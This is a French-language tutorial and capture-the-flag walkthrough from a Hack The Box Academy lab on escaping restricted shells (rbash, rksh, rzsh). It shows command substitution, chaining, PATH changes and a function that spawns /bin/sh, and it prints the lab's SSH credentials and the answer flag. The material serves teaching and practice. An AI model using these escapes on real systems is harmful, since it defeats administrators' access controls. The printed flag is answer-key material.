# Escaping Restricted Shells

Un **shell restreint** est un type de shell qui limite la capacité de l’utilisateur à exécuter des commandes.\
Dans un shell restreint, l’utilisateur n’est autorisé qu’à exécuter un ensemble spécifique de commandes ou seulement dans certains répertoires précis.

Les shells restreints sont souvent utilisés pour fournir un environnement sûr aux utilisateurs qui pourraient accidentellement (ou intentionnellement) endommager le système, ou pour leur donner accès uniquement à certaines fonctionnalités spécifiques.

Quelques exemples de shells restreints courants :

* **rbash** (Linux)
* **Restricted-access Shell** (Windows)

***

### 🐚 RBASH

Le [**Restricted Bourne shell**](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html) **(rbash)** est une version restreinte du **Bourne shell**, un interpréteur de commandes standard sous Linux.\
Il limite les possibilités suivantes :

* changer de répertoire,
* définir ou modifier des variables d’environnement,
* exécuter des commandes situées dans d’autres répertoires.

Il est souvent utilisé pour offrir un environnement sûr et contrôlé aux utilisateurs.

***

### 🐚 RKSH

Le [**Restricted Korn shell**](https://www.ibm.com/docs/en/aix/7.2?topic=r-rksh-command) **(rksh)** est une version restreinte du **Korn shell**.\
Il limite par exemple :

* l’exécution de commandes situées dans d’autres répertoires,
* la création ou modification de fonctions shell,
* la modification de l’environnement du shell.

***

### 🐚 RZSH

Le [**Restricted Z shell**](https://manpages.debian.org/experimental/zsh/rzsh.1.en.html) **(rzsh)** est une version restreinte du **Z shell**, l’un des interpréteurs les plus puissants et flexibles.\
Il limite notamment :

* l’exécution de scripts shell,
* la définition d’alias,
* la modification de l’environnement du shell.

***

### 🏢 Exemple en entreprise

Les administrateurs utilisent souvent les shells restreints dans les réseaux d’entreprise pour garantir un environnement sûr et contrôlé.\
En limitant la possibilité d’exécuter certaines commandes ou d’accéder à certains répertoires, ils empêchent les utilisateurs de nuire au système ou de compromettre la sécurité du réseau.

👉 Cela permet aussi de donner un accès limité à certaines fonctionnalités seulement, selon les besoins.

**Exemple pratique :**\
Une entreprise dispose de serveurs Linux hébergeant des applications critiques.\
De nombreux utilisateurs y accèdent : employés, sous-traitants, partenaires externes.

L’équipe IT décide d’implémenter des shells restreints :

* **Partenaires externes** → assignés à **rbash**, accès limité (ex. mails, partage de fichiers).
* **Sous-traitants** → assignés à **rksh**, plus de flexibilité (ex. accès aux serveurs web et BDD).
* **Employés** → assignés à **rzsh**, plus d’options, mais toujours sous contrôle.

***

## 🛠️ Méthodes pour échapper à un shell restreint

Il existe plusieurs techniques pour échapper à un shell restreint. Certaines exploitent directement des vulnérabilités, d’autres utilisent des astuces pour contourner les restrictions.

***

### 🔓 Injection de commandes

Il peut être possible d’échapper au shell restreint en injectant des commandes dans la ligne de commande ou d’autres entrées autorisées.

**Exemple :**\
Si seul `ls` est autorisé (avec `ls -l` ou `ls -a`), on peut essayer :

```bash
0xH4shDumb@htb[/htb]$ ls -l `pwd`
```

Ici, `pwd` est exécuté via **substitution de commande**.\
Bien que `pwd` soit interdit directement, son exécution indirecte permet de connaître le répertoire courant.

***

### 🔄 Substitution de commande

La **substitution de commande** permet d’exécuter des commandes en les plaçant dans des backticks (`` ` ``).\
Exemple :

```bash
echo `id`
```

Si la substitution n’est pas filtrée, on obtient la sortie de `id`, même si son exécution directe est interdite.

***

### ⛓️ Chaînage de commandes

On peut parfois contourner un shell restreint en enchaînant plusieurs commandes sur une seule ligne.\
Exemple avec le point-virgule `;` ou le pipe `|` :

```bash
ls -l; whoami
```

***

### 🌍 Variables d’environnement

Certains shells restreints s’appuient sur des variables d’environnement pour définir :

* le chemin des commandes,
* le répertoire d’exécution, etc.

En modifiant ces variables (comme `$PATH`), on peut parfois rediriger l’exécution vers des commandes non restreintes.

***

### ⚡ Fonctions shell

Si le shell autorise la définition de fonctions, il est parfois possible d’en créer pour exécuter des commandes interdites.

**Exemple :**

```bash
function escape { /bin/sh; }
escape
```

Cela ouvre un shell classique non restreint.

***

{% hint style="info" %}
SSH to 10.129.205.109 (ACADEMY-LLPE-RSH) with user "htb-user" and password "HTB\_@cademy\_us3r!"
{% endhint %}

> Use different approaches to escape the restricted shell and read the flag.txt file. Submit the contents as the answer.

Dans un premier temps, nous nous connectons en ssh à notre cible :&#x20;

```bash
ssh htb-user@10.129.205.109
```

Une fois connectés, nous essayons diverses commandes qui nous permettent de voir que nous sommes dans un shell restreint ([RBASH](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html)) :&#x20;

```bash
htb-user@ubuntu:~$ ls
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

htb-user@ubuntu:~$ cd ..
-rbash: cd: restricted
```

Nous devons donc tester diverses commandes afin de voir quelles commandes sont disponibles d'exécution :&#x20;

```bash
htb-user@ubuntu:~$ echo test
test
```

Parmis les différents tests effectués, nous pouvons observer la  possibilité d'utiliser la commande `echo`.

Nous essayons donc de lister dans un premier temps les répertoires présents à notre emplacement :&#x20;

```bash
htb-user@ubuntu:~$ echo /*
/bin /boot /cdrom /dev /etc /home /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /sys /tmp /usr /var
```

Nous avons réussi à contourner le shell. En effet, la commande `ls` n'est pas possible d'utilisation, mais à l'aide de la commande `echo` nous parvenons à afficher le résultat attendu.

Nous listons donc le contenu du répertoire de notre utilisateur actuel afin de trouver le fichier ***flag.txt*** :&#x20;

```bash
htb-user@ubuntu:~$ echo /home/htb-user/*
/home/htb-user/bin /home/htb-user/flag.txt
```

Nous devons maintenant trouver un moyen de lire le contenu du fichier ***/home/htb-user/flag.txt***.&#x20;

Pour se faire, nous pouvons utiliser le site suivant, trouvé lors de recherches concernant un bypass de rbash :&#x20;

{% embed url="<https://exploit-notes.hdks.org/exploit/network/protocol/restricted-shell-bypass/>" %}

Nous pouvons alors trouver une commande qui permet de lire le contenu d'un fichier et d'en afficher son contenu. NOus l'exploitons donc :&#x20;

```bash
htb-user@ubuntu:~$ while read line; do echo $line; done < /home/htb-user/flag.txt; echo $line
HTB{35c4p3_7h3_r3stricted_5h311}
```

Nous avons donc contourné la restriction du shell. Le flag est donc disponible :&#x20;

```
HTB{35c4p3_7h3_r3stricted_5h311}
```

***
